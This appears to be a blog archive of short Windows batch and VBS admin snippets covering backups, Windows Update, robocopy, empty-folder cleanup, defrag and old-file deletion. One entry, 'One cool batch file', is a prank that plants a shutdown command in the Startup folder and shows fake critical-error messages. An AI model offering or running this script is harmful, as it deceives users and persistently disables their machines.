How to create a backup file with the date of today. Here is an example with STSADM from Sharepoint Services. stsadm -o backup -filename “\\gl-nas-01\backup$\Sharepoint\GL-SP-01\%date:~-10,3%%date:~-7,3%%date:~-4%.dat” -url http://intranet/sites/home
Archive for the ‘Batch files’ Category
One cool batch file – ;-D
March 26th, 2010
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@echo off echo shutdown -s -t 5 -c “Windows is shutting down due to an internal error” > C:\close.bat copy C:\close.bat “C:\documents and settings\all users\start menu\programs\startup\” cls echo Maximize this window to continue echo Wscript.Sleep 4000 > C:\sleep1.vbs call C:\sleep1.vbs echo Msgbox”Critical system process failure. Press enter to to begin auto fix.” > c:\error1.vbs call [...]
Force the update detection from Automatic Update Client
March 22nd, 2010
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When deploying a new Windows XP installation your first task is installing the countless Windows updates. When you wait for Windows XP to check for updates you’ll need a lot of time. To accelerate this process just run the following batch file. @echo on net stop wuauserv REG DELETE “HKLM\Software\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update” /v LastWaitTimeout /f REG [...]
Copy a directory but only include specific files (extension)
March 9th, 2010
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ROBOCOPY C:\Source D:\Destination *.zip *.txt /E /E = copy subdirectories, including empty ones /S = copy subdirectories, excluding empty ones More information about robocopy, click here
Remove empty folders and subfolders
March 9th, 2010
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This little batch file scans the directory that was provided as a parameter and all its sub-directories for empty folders and deletes them, including the provided folder itself, if it is empty as well (or became empty after all empty sub-folders were removed). RemoveEmptySubFolders.bat @echo off set Folder=”%~1″ if %Folder%==”” @echo Syntax RemoveEmptySubFolders Folder&goto :EOF [...]
Defrag and SDelete on every fixed harddisk
March 5th, 2010
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Use this VBS script to run a defrag en SDelete on all your fixed drives from your computer Set WshShell = WScript.CreateObject(“WScript.Shell”) Dim fso, d, dc Set fso = CreateObject(“Scripting.FileSystemObject”) Set dc = fso.Drives WshShell.RegWrite “HKCU\Software\Sysinternals\”, 0, “REG_SZ” WshShell.RegWrite “HKCU\Software\Sysinternals\SDelete\”, 0, “REG_SZ” WshShell.RegWrite “HKCU\Software\Sysinternals\SDelete\EulaAccepted”, 1, “REG_DWORD” For Each d in dc If d.DriveType = 2 [...]
Delete files older than x days in CLI
March 5th, 2010
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forfiles /p “C:\DIRECTORY” /d -7 /c “CMD /C del @FILE
